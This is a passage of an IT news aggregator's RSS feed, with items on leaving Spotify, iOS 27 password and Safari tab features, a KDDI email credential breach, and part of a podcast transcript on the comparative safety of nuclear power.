<guid isPermaLink="true">https://tsecurity.de/de/3622502/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/</guid>
<pubDate>Wed, 24 Jun 2026 20:49:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In diesem Talk behandeln wir Gründe von verschiedenen Musik- und Podcast-Streamingdiensten wegzumigrieren und schauen uns mögliche automatische Unterstützung und Alternativen (am Beispiel Spotify) an.

Im Rahmen meiner Großoffensive mich unabhängig(er) von Big Tech zu machen, musste zuletzt Spotify dran glauben. 

In diesem Talk erzähle ich Euch zunächst wieso (nein, es ist nicht nur Enshittyfication und Big-Tech böse).
Danach schauen wir uns an welche Alternativen es selfhosted gibt, wie gut ich sie finde, und welche ich jetzt benutze.

Außerdem gibt es einen Git-Link zu den Scripten, die ich dafür geschrieben habe und eine kurze Erklärung wie Ihr Eure Spotify Playlists auf mp3s, die Ihr von physischen Alben, die Ihr besitzt, gezogen habt, mappen könnt :)

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://cfp.gulas.ch/gpn24/talk/GSHUB7/]]></content:encoded>
</item>
<item>
<title><![CDATA[I was struggling in the summer heat until my gaming chair’s fans saved me — and with these Prime Day deals you too can sit in chilled bliss]]></title>
<description><![CDATA[Have you tried a gaming chair with in-built cooling? Because you absolutely should while these Prime Day deals are live.]]></description>
<link>https://tsecurity.de/de/3621333/it-nachrichten/i-was-struggling-in-the-summer-heat-until-my-gaming-chairs-fans-saved-me-and-with-these-prime-day-deals-you-too-can-sit-in-chilled-bliss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621333/it-nachrichten/i-was-struggling-in-the-summer-heat-until-my-gaming-chairs-fans-saved-me-and-with-these-prime-day-deals-you-too-can-sit-in-chilled-bliss/</guid>
<pubDate>Wed, 24 Jun 2026 14:33:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Have you tried a gaming chair with in-built cooling? Because you absolutely should while these Prime Day deals are live.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Auto-Fix Weak Passwords in iOS 27]]></title>
<description><![CDATA[Weak passwords remain one of the biggest reasons online accounts get hacked. Apple has addressed this problem in iOS 27 with a new Passwords app feature that can automatically replace weak, reused, or compromised passwords with stronger ones. 



Using Apple Intelligence and Safari, the system ca...]]></description>
<link>https://tsecurity.de/de/3621111/ios-mac-os/how-to-auto-fix-weak-passwords-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621111/ios-mac-os/how-to-auto-fix-weak-passwords-in-ios-27/</guid>
<pubDate>Wed, 24 Jun 2026 13:10:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Weak passwords remain one of the biggest reasons online accounts get hacked. Apple has addressed this problem in iOS 27 with a new Passwords app feature that can automatically replace weak, reused, or compromised passwords with stronger ones. 



Using Apple Intelligence and Safari, the system can securely navigate supported websites, update credentials, and save the new password for you. This removes the need to manually visit every website and change passwords one by one.



If you use the Passwords app on your iPhone, here is how you can automatically fix weak passwords in iOS 27.



Table of contentsAuto-Fix Weak Passwords Using the Passwords AppManually Change Weak Passwords When Auto-Fix Is UnavailableEnable Compromised Password DetectionReplace Passwords with PasskeysUse Strong Password Suggestions for New AccountsFAQsSummaryConclusion



Auto-Fix Weak Passwords Using the Passwords App



The biggest password security upgrade in iOS 27 is the new automatic password repair feature. When the Passwords app detects a weak, reused, or compromised password, it can update the credential on supported websites and save the new password automatically.








Open the Passwords app on your iPhone.



Authenticate with Face ID, Touch ID, or your passcode.



Tap Security.



Review accounts marked as Weak Password, Reused Password, or Compromised Password.



Select the affected account.



Tap the option to Automatically Fix Password if available.



Confirm the action.



Wait while Apple Intelligence and Safari securely update the password.



The new strong password will be saved automatically in the Passwords app.




Manually Change Weak Passwords When Auto-Fix Is Unavailable



Not every website currently supports automatic password updates. In those cases, you can still change the password manually.




Open the Passwords app.



Tap Security.



Select the account with the security warning.



Tap Change Password.



Follow the website's password update process.



Let iPhone generate a strong password when prompted.



Save the changes and verify the update.




Enable Compromised Password Detection



To receive alerts about leaked or unsafe passwords, make sure password monitoring is turned on.




Open Settings.



Tap Apps.



Select Passwords.



Turn on Detect Compromised Passwords.



Return to the Passwords app and review security recommendations regularly.




Replace Passwords with Passkeys



Many services now support passkeys, which are more secure than traditional passwords.




Open the account settings for a supported website or app.



Look for Passkey setup options.



Follow the on-screen instructions.



Save the passkey using Face ID or Touch ID.



Use the passkey for future sign-ins.




Use Strong Password Suggestions for New Accounts



Whenever you create a new account, iOS 27 can generate a unique password automatically.




Start creating a new account in an app or website.



Tap the password field.



Select Use Strong Password when prompted.



Save the credential in the Passwords app.



Complete account registration.




FAQs



What is the Auto-Fix Password feature in iOS 27? It is a new Apple Intelligence-powered feature that can automatically update weak or compromised passwords on supported websites and save the new credentials in the Passwords app.  Does Auto-Fix work on every website? No. The feature currently works only with supported websites and services. Unsupported sites still require manual password changes.  Will I see progress while the password is being changed? Yes. iOS 27 can display the process through a Live Activity so you can monitor the update.  Are the new passwords stored automatically? Yes. Once the password is updated, the Passwords app saves the new credential securely.  Is the feature secure? Apple says the system uses Apple Intelligence with on-device processing and Private Cloud Compute protections for supported tasks.  



Summary




Open the Passwords app and check the Security section.



Use Auto-Fix Password for supported accounts.



Change passwords manually when automatic updates are unavailable.



Enable Detect Compromised Passwords in Settings.



Switch to passkeys whenever possible.



Use Apple's strong password generator for new accounts.



Review security recommendations regularly.




Conclusion



iOS 27 makes password security much easier by automatically fixing weak and compromised passwords on supported websites. Instead of manually updating every account, you can let Apple Intelligence handle much of the process while securely storing the new credentials in the Passwords app. Combined with passkeys and compromised password alerts, this update gives iPhone users a simpler way to keep their accounts protected.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Organize Your Safari Tabs by Topic in iOS 27]]></title>
<description><![CDATA[Safari in iOS 27 introduces a smarter way to manage open tabs. If you often keep dozens of tabs open for work, travel planning, shopping, research, or entertainment, Safari can now help you organize them into topic-based groups. The update builds on Safari's existing Tab Groups feature and adds n...]]></description>
<link>https://tsecurity.de/de/3620690/ios-mac-os/how-to-organize-your-safari-tabs-by-topic-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620690/ios-mac-os/how-to-organize-your-safari-tabs-by-topic-in-ios-27/</guid>
<pubDate>Wed, 24 Jun 2026 10:54:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Safari in iOS 27 introduces a smarter way to manage open tabs. If you often keep dozens of tabs open for work, travel planning, shopping, research, or entertainment, Safari can now help you organize them into topic-based groups. The update builds on Safari's existing Tab Groups feature and adds new AI-powered tab organization tools that automatically sort related tabs together.



Whether you prefer to organize tabs yourself or let Safari do the work, iOS 27 offers several ways to keep your browsing sessions clean and easy to manage.



Table of contentsOrganize Tabs Automatically by TopicCreate Topic-Based Tab Groups ManuallyMove Existing Tabs Into a Topic GroupCreate Separate Groups for Different ActivitiesSave and Revisit Topic Groups LaterClose an Entire Topic Group When FinishedFAQsSummaryConclusion



Organize Tabs Automatically by Topic



One of the biggest Safari improvements in iOS 27 is the new automatic tab organization feature. Safari can analyze your open tabs and group related pages into topics such as Travel, Shopping, News, Work, or Entertainment. As you continue browsing, Safari can place new tabs into existing groups or create new topic-based groups when needed.




Open Safari on your iPhone.



Tap the Tabs button.



Open the Tab Groups menu.



Select Organize Tabs.



Choose Automatic Grouping.



Wait for Safari to analyze your open tabs.



Review the topic groups Safari creates.



Rename any group if needed.




Safari will then arrange your tabs into topic-based collections for easier navigation.



Create Topic-Based Tab Groups Manually



If you prefer full control, you can still create your own Tab Groups. This method works well when you already know how you want to organize your tabs.



For example, you can create separate groups for Work Projects, Vacation Planning, Online Shopping, University Research, or Personal Reading.




Open Safari.



Tap the Tabs button.



Touch and hold any open tab.



Tap Move Tab.



Select New Tab Group.



Enter a name for the group.



Tap Done.




You can then move related tabs into the group whenever needed.



Move Existing Tabs Into a Topic Group



Sometimes you already have many tabs open before creating groups. Safari makes it easy to move them.




Open Safari.



Tap the Tabs button.



Press and hold the tab you want to organize.



Select Move to Tab Group.



Choose an existing topic group.



Repeat for additional tabs.




This method helps clean up a crowded tab view quickly.



Create Separate Groups for Different Activities



Many users find it easier to stay organized by creating dedicated groups for specific purposes.



Some useful examples include:




Work



School or College



Travel Planning



Online Shopping



News Reading



Streaming and Entertainment



Personal Finance



Recipes and Food Ideas




Using separate groups prevents unrelated tabs from mixing together and makes it easier to return to important pages later.



Save and Revisit Topic Groups Later



A major advantage of Tab Groups is that they remain available across Safari sessions. You can close Safari and come back later without losing your organized tabs.




Open Safari.



Tap the Tabs button.



Open the Tab Groups menu.



Select the group you want to revisit.




All tabs inside that group will appear instantly.



Close an Entire Topic Group When Finished



Once a project or task is complete, you can remove the entire group and reduce clutter.




Open Safari.



Tap the Tabs button.



Open the Tab Groups list.



Find the group you no longer need.



Swipe left on the group.



Tap Delete.




This keeps Safari organized over time.



FAQs



What is Safari's automatic tab organization feature in iOS 27? It is a new Safari feature that automatically groups related tabs into topics based on your browsing activity.  Does automatic tab grouping require manual setup? No. You can enable the Organize Tabs option and Safari will create topic groups automatically.  Can I still create Tab Groups manually? Yes. Manual Tab Groups remain available in iOS 27 and work alongside automatic organization.  Will new tabs be added to existing topic groups? Safari can place new tabs into matching topic groups as you continue browsing.  Are Tab Groups available across Apple devices? Yes. Safari Tab Groups can sync across supported Apple devices using the same Apple Account.  



Summary




iOS 27 introduces automatic topic-based tab organization in Safari.



Safari can group related tabs using AI-powered analysis.



Manual Tab Groups remain available for users who prefer full control.



Existing tabs can be moved into groups at any time.



Topic groups help separate work, travel, shopping, and research tabs.



Saved groups remain available for future browsing sessions.



Unneeded groups can be deleted to keep Safari organized.




Conclusion



Safari in iOS 27 makes tab management much easier, especially for users who frequently keep many tabs open. The new automatic tab organization feature can sort tabs into meaningful topics with minimal effort, while traditional Tab Groups continue to provide manual control. By combining both methods, you can keep Safari organized, reduce clutter, and quickly find the pages you need whenever you return to them.]]></content:encoded>
</item>
<item>
<title><![CDATA[KDDI Data Breach May Have Exposed Up to 14.22 Million Email Accounts]]></title>
<description><![CDATA[Japanese telecommunications company KDDI has disclosed a major cybersecurity incident in which up to 14.22 million email addresses and passwords may have been exposed through systems used by multiple internet service providers. The KDDI data breach has now become one of the most recent security e...]]></description>
<link>https://tsecurity.de/de/3620588/it-security-nachrichten/kddi-data-breach-may-have-exposed-up-to-1422-million-email-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620588/it-security-nachrichten/kddi-data-breach-may-have-exposed-up-to-1422-million-email-accounts/</guid>
<pubDate>Wed, 24 Jun 2026 10:07:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1126" height="614" src="https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="KDDI data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach.webp 1126w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-300x164.webp 300w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-1024x558.webp 1024w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-768x419.webp 768w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-600x327.webp 600w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-150x82.webp 150w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-750x409.webp 750w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach.webp 1126w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-300x164.webp 300w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-1024x558.webp 1024w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-768x419.webp 768w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-600x327.webp 600w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-150x82.webp 150w, https://thecyberexpress.com/wp-content/uploads/KDDI-data-breach-750x409.webp 750w" sizes="(max-width: 1126px) 100vw, 1126px" title="KDDI Data Breach May Have Exposed Up to 14.22 Million Email Accounts 1"></p><span data-contrast="auto">Japanese telecommunications company KDDI has disclosed a major cybersecurity incident in which up to 14.22 million email addresses and passwords may have been exposed through systems used by multiple internet service providers. The KDDI data breach has now become one of the most recent security events involving shared ISP infrastructure in Japan.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The company confirmed that the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="28812">data breach</a> at KDDI was detected on June 17, 2026, after unauthorized access was identified in an email system provided to ISP operators. KDDI said it immediately took steps to modify the affected system and deployed protective measures after identifying the entry point used by a <a class="wpil_keyword_link" href="https://cyble.com/threat-actor/" target="_blank" rel="noopener" title="threat actor" data-wpil-keyword-link="linked" data-wpil-monitor-id="28817">threat actor</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">KDDI Data Breach Linked to Third-Party Software Vulnerability</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The data breach at KDDI impacted email services operated through six <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-internet/" title="internet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28818">internet</a> service providers: STNet, KDDI Web Communications, JCOM, Chubu Telecommunications, Nifty, and Biglobe. Affected services include Pikara Hikari Service, Pikara Mobile Service, Oshigoto Pikara Service, CPI rental server email services, J:COM NET, Commufa Hikari, Business Commufa, @nifty Mail, and BIGLOBE Mail.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">KDDI’s investigation found that the threat actor exploited <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="28816">vulnerabilities</a> in third-party software integrated into the email system. This allowed <a href="https://thecyberexpress.com/intesa-sanpaolo-data-breach-missed-for-2-years/" target="_blank" rel="noopener">unauthorized access</a> to information associated with user mailboxes, potentially exposing credentials needed to operate email accounts.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">According to the <a href="https://newsroom.kddi.com/news/assets/2026/kddi_nr_s-71_4593/kddi_nr_s-71_4593_pdf_01.pdf" target="_blank" rel="nofollow noopener">company</a>, the compromised data may include email addresses and passwords linked to user accounts created across the affected services. The maximum number of records potentially exposed is estimated at 14.22 million. This figure includes inactive accounts and users who had previously closed their services. Some passwords were stored in hashed or encrypted form, though KDDI emphasized that the number represents a worst-case estimate while investigations continue.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">In its official disclosure, KDDI apologized to ISP partners, customers, and stakeholders for the disruption caused by the incident. The company also confirmed that it is cooperating with Japan’s Personal Information Protection Commission and the Ministry of Internal Affairs and Communications in line with legal and regulatory obligations related to the KDDI data breach.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">KDDI Data Breach Prompts Password Reset Measures and Ongoing Response</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Following the detection of the data breach at KDDI, the company has been working with affected ISPs to notify users and encourage them to change their <a href="https://thecyberexpress.com/how-to-delete-saved-passwords-in-google-chrome/" target="_blank" rel="noopener">passwords</a> immediately. KDDI stated that although security controls have been strengthened, there remains a possibility that email credentials were obtained by a threat actor, making user action necessary to reduce ongoing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28813">risk</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The company has been contacting affected providers since June 17 and continues to coordinate mitigation efforts, including customer alerts and system-level countermeasures. It has also urged users to follow guidance issued by their respective ISPs and update login credentials without delay.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Rising Cybersecurity Risks Highlighted by KDDI Data Breach</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The KDDI data breach has emerged amid a broader increase in cyberattacks affecting Japanese organizations. According to <a href="https://www.japantimes.co.jp/business/2026/06/24/companies/kddi-data-breach-cyberattack/" target="_blank" rel="nofollow noopener">Tokyo Shoko Research</a>, listed companies and their subsidiaries reported 180 personal information breach cases in 2025, exposing data tied to approximately 30.6 million individuals. More than 60% of these incidents involved unauthorized access or <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28814">malware</a> infections.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto"><a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-ransomware-how-it-work/" title="Ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28815">Ransomware</a> activity has also continued to rise, with Japanese police confirming 226 cases of ransomware-related incidents last year, marking the second-highest total on record. While small and midsize firms accounted for roughly 60% of victims, several large organizations also suffered significant operational disruption.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Among them, <a href="https://thecyberexpress.com/asahi-group-cyberattack-cybersecurity-unit/" target="_blank" rel="noopener">Asahi Group Holdings</a> reported that a ransomware attack in September exposed 115,513 personal records and disrupted production and distribution across most domestic facilities, forcing manual order processing for an extended period. Similarly, Askul disclosed that a <a href="https://thecyberexpress.com/fbi-warns-of-malicious-traffic/" target="_blank" rel="noopener">ransomware</a> incident discovered in October resulted in the exposure of approximately 740,000 records involving customers, corporate clients, and employees.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4668: Nuclear Power Technology Follow Up on Safety]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


--------------------






01 Introduction






This is the second follow up to my 8 part series on nuclear power. In this episode I will attempt to answer a question posed by brian in ohio in a comment on HPR4583. In that comment he said:...]]></description>
<link>https://tsecurity.de/de/3619898/podcasts/hpr4668-nuclear-power-technology-follow-up-on-safety/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619898/podcasts/hpr4668-nuclear-power-technology-follow-up-on-safety/</guid>
<pubDate>Wed, 24 Jun 2026 02:03:28 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
--------------------</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
This is the second follow up to my 8 part series on nuclear power. In this episode I will attempt to answer a question posed by brian in ohio in a comment on HPR4583. In that comment he said:</p>

<p>

</p>

<p>
02</p>

<p>
--------------------</p>

<p>

</p>

<p>
Loving this series. Maybe Whiskey Jack could give some cost comparisons between large and small reactors. He could also give us a realistic look at nuclear plant safety/accidents compared to conventional power production. Looking forward to the episode on FORTH generation reactors ;-)</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
03</p>

<p>
End of quote.</p>

<p>

</p>

<p>
The first question I answered in my previous follow up, which was HPR4628. In this episode I will attempt to answer the second question, which was about the safety of nuclear power compared to other sources of electrical power generation.</p>

<p>

</p>

<p>
One of the HPR janitors encouraged me to make this episode, so I think we can thank him for getting another HPR episode made.</p>

<p>

</p>

<p>
04 Defining the Scope</p>

<p>
First, let's define the scope of the question. </p>

<p>

</p>

<p>
This will cover electrical power generation only.</p>

<p>
Within that scope I will consider only the following sources of energy.</p>

<p>

</p>

<p>
05</p>

<p>
Coal</p>

<p>
Oil</p>

<p>
Natural Gas</p>

<p>
Hydroelectric</p>

<p>
Nuclear</p>

<p>
Wind</p>

<p>
Solar</p>

<p>

</p>

<p>
I won't cover geothermal, wave, or tidal power as these are only used in very small amounts and so there simply isn't enough literature on them to base a discussion on . </p>

<p>

</p>

<p>
06 Foreshadow Conclusion</p>

<p>
I should mention right away that I cannot provide absolute answers to this question in the form of a nice, neat ranking table based on numbers from peer reviewed scientific sources. </p>

<p>
The reasons for this will become apparent, but to put it briefly, the data on which to base such a ranking simply doesn't exist. </p>

<p>

</p>

<p>
I will however provide context within which people can think about the issue.</p>

<p>
Wherever possible, I will provide links to the references that I used in the show notes so you can read further on this yourself.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
07 Energy Catastrophism versus Energy Uniformitarianism</p>

<p>

</p>

<p>
First though I need to go off on a slight geological detour in order to explain an important analogy that I will use.</p>

<p>

</p>

<p>
08</p>

<p>
In the 19th century there was a great debate among geologists over what is known as catastrophism versus uniformitarianism.</p>

<p>
In seeking to explain the origins of the earth and of the landscape that we see around us, there were two points of view.</p>

<p>

</p>

<p>
09</p>

<p>
One was "catastrophism". </p>

<p>
This is the belief that the mountains, valleys, and plains that we see around us were formed as a result of great catastrophes which occurred relatively recently in earth's history. </p>

<p>
This explanation was necessary in order to fit geological features into an earth that was believed to be only a few thousands of years old.</p>

<p>
This view was heavily influenced  by religious belief.</p>

<p>
In this view Noah's flood was the great catastrophe and the fossils of dinosaurs were the remains of animals who had not been saved on the ark and so had died in the flood.</p>

<p>

</p>

<p>
10</p>

<p>
The other point of view was uniformitarianism.</p>

<p>
This was the hypothesis that the landscape we see around us can be explained by the very slow accumulation of very small changes over very long periods of time. </p>

<p>
For this to be true however, the earth had to be far older than the few thousand years that a literal reading of the bible would suggest.</p>

<p>
The earth in fact had to be many, many, millions of years old.</p>

<p>

</p>

<p>
11</p>

<p>
Eventually, the uniformitarian view won out and people understood that while some catastrophes can take place, the shape of the landscape is overwhelmingly due to small changes over very long periods of time.</p>

<p>

</p>

<p>

</p>

<p>
12 How is this Relevant to this Episode You Ask?</p>

<p>
How this is relevant is that I will use this analogy to explain how we need to think about energy and safety.</p>

<p>
Very small numbers of deaths and injuries multiplied over many occurrences can add up to big numbers, comparable in scale or possibly even larger than a single catastrophe or even several of them.</p>

<p>

</p>

<p>
13</p>

<p>
I don't know if anyone else has used this analogy before, I have just thought of this when writing the script for this podcast.</p>

<p>
None the less, I think it is a very useful way of helping to understand the issues.</p>

<p>

</p>

<p>
14</p>

<p>
As an example of this, think about the well known case of the safety of flying versus the safety of travelling in your car.</p>

<p>
Air crashes are catastrophes that make the headlines.</p>

<p>
Automobile crashes are seldom more than local news at best.</p>

<p>
You have probably heard many times the claim that if you making a trip somewhere, you are safer to fly than to drive yourself in your car.</p>

<p>

</p>

<p>

</p>

<p>
15 Example - Hydro versus Solar</p>

<p>
I will now present an example of this.</p>

<p>
Hydro electric power has some notable large scale catastrophes associated with it.</p>

<p>
Roof top solar power does not have any notable catastrophes that I am aware of.</p>

<p>
However, which is safer?</p>

<p>

</p>

<p>
16 Hydro Catastrophes</p>

<p>
Here are three examples of hydro electric catastrophes in just one country, Italy.</p>

<p>

</p>

<p>
The Vajont Dam which collapsed in1963</p>

<p>
An estimated 1,917 to 2,500 people died.</p>

<p>

</p>

<p>
The Sella Zerbino dam which collapsed in 1935.</p>

<p>
More than 100 people died.</p>

<p>

</p>

<p>
The Gleno Dam which collapsed in 1923.</p>

<p>
An estimated 350 people died.</p>

<p>

</p>

<p>
https://damfailures.org/</p>

<p>
https://pmc.ncbi.nlm.nih.gov/articles/PMC4997708/</p>

<p>

</p>

<p>
17</p>

<p>
I haven't tried to compile a global list of the worst hydro electric dam collapses, as this sort of information is actually very difficult to find, even on web sites dedicated to dam failures.</p>

<p>
An additional problem is that information on whether a dam was used for electric power generation or not is often not available.</p>

<p>

</p>

<p>
18</p>

<p>
Dam failures where contradictory or insufficient information is available on whether there was an associated hydro power plant include the 1975 Banqian Dam failure, where death estimates range up to a quarter of a million.</p>

<p>

</p>

<p>
19 Solar Panel Slow Accumulation</p>

<p>
Contrast this with roof top solar panels.</p>

<p>
Many small accidents can add up to big numbers as well.</p>

<p>

</p>

<p>
20</p>

<p>
Health and safety literature discussing solar panel safety mention things such as</p>

<p>
Falls from roofs.</p>

<p>
Electric shock.</p>

<p>
Arc flash (burns from electrical arcing).</p>

<p>
Normal electrical safety procedures which are based around locking out sources of energy do not work with solar panels which makes safety more difficult.</p>

<p>
Heat stress due to working exposed in the hot sun.</p>

<p>

</p>

<p>
Warning from US government on falls by solar panel installers.</p>

<p>
https://stacks.cdc.gov/view/cdc/228946</p>

<p>
https://www.osha.gov/green-jobs/solar</p>

<p>

</p>

<p>

</p>

<p>
21 Why We Cannot Compare the Two</p>

<p>
Hydro catastrophes are not well documented, but we can at least find records of some of the most notable ones.</p>

<p>
However, even those have very large variations in estimates of deaths.</p>

<p>

</p>

<p>
22</p>

<p>
Roof top solar deaths however are largely undocumented.</p>

<p>
The industry is largely unregulated.</p>

<p>
There is no central authority which accumulates many individual deaths or injuries.</p>

<p>
At best there are worker and public safety bodies who simply accumulate those statistics into general construction or household injuries.</p>

<p>

</p>

<p>
23</p>

<p>
Thus we have no reliable means of comparing the two energy sources on a comparable basis.</p>

<p>
We face the same problem with all other major electrical energy sources. </p>

<p>
So far as I am aware, there are no peer reviewed scientific studies which compare the relative safety of all of the major electrical energy sources we are considering here based on actual numbers.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
24 Safety Risks</p>

<p>

</p>

<p>
I will now try to list some the major hazards for each of energy sources we are considering.</p>

<p>
There is however limited data available.</p>

<p>
In many cases we just have reference to worker safety organizations as to what the hazards are.</p>

<p>
I will not attempt here to put numbers to these here. </p>

<p>

</p>

<p>
Categories</p>

<p>

</p>

<p>
25 Coal, Oil, Natural Gas</p>

<p>
The hazards are</p>

<p>
Air pollution</p>

<p>
Mining and oil field accidents</p>

<p>
Pipeline explosions</p>

<p>
Transportation accidents. These- move a lot of material so these are significant.</p>

<p>

</p>

<p>
26 Hydroelectric</p>

<p>
These include</p>

<p>
Dam collapse</p>

<p>
Drowning</p>

<p>

</p>

<p>
27 Nuclear</p>

<p>
These include</p>

<p>
Radiation exposure</p>

<p>

</p>

<p>
28 Wind</p>

<p>
These include</p>

<p>
Falls</p>

<p>
Confined space deaths (there is not much detail on this)</p>

<p>
Electric shock</p>

<p>
Ice throws (that is, throwing pieces of ice off the blades)</p>

<p>
This technology has a significant problem with people working alone which greatly increases risks associated with other dangers.</p>

<p>

</p>

<p>
29 Solar</p>

<p>
These include</p>

<p>
Falls</p>

<p>
Electric shock</p>

<p>
Arc flash</p>

<p>
Heat stress</p>

<p>

</p>

<p>
30</p>

<p>
I have not tried to cover all possible risks associated with each category, just the ones which each industry considers to be the risks they concern themselves with.</p>

<p>
There does not exist any means by which risks of similar types are compared across different industries. </p>

<p>

</p>

<p>
31 Reliability of Supply is Also Safety</p>

<p>
In a completely electrified net zero society, reliability of supply is a safety matter.</p>

<p>
People will die in very large numbers in cold climates if they do not have heat.</p>

<p>
If we have no fossil fuels, we need to also consider how reliably does a grid based on any of the options work.</p>

<p>
I have not seen anyone attempt to address this question and will not attempt to address it here.</p>

<p>
However, it must be addressed in any comprehensive attempt to rank safety. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
32 Studies or Articles on Estimates of Relative Safety</p>

<p>

</p>

<p>
Despite the difficulties of comparing the safety of different sources of energy, some people have attempted this anyway.</p>

<p>
Different estimates done at different times had different focuses, so unfortunately we do not have a nice set of studies that we can neatly use to cross check one another.</p>

<p>
I will however list the names and the authors and summarize the results.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
33 The Health Hazards of Not Going Nuclear</p>

<p>
By Dr. Petr Beckman</p>

<p>
Published in 1976</p>

<p>

</p>

<p>
The author of this book tried to address the relative safety of different sources of energy in the mid 1970s.</p>

<p>
However, it is old at this point, so I won't bother digging through its pages to find his figures.</p>

<p>

</p>

<p>
34</p>

<p>
He mainly focused on comparing electric power generated with coal to nuclear. </p>

<p>
His conclusion was that if the goal was to prevent deaths or ill health in the process of generating electricity, then the logical conclusion was to replace coal fired power plants with nuclear.</p>

<p>

</p>

<p>
35</p>

<p>
The book was relatively well known at the time, as least as far as books on energy are concerned, so I thought it was still worth mentioning.</p>

<p>
I happen to have a copy of this book which I bought back in that time period</p>

<p>
It was the 8th printing of the book, so it would appear to have had relatively good sales. </p>

<p>

</p>

<p>
36</p>

<p>
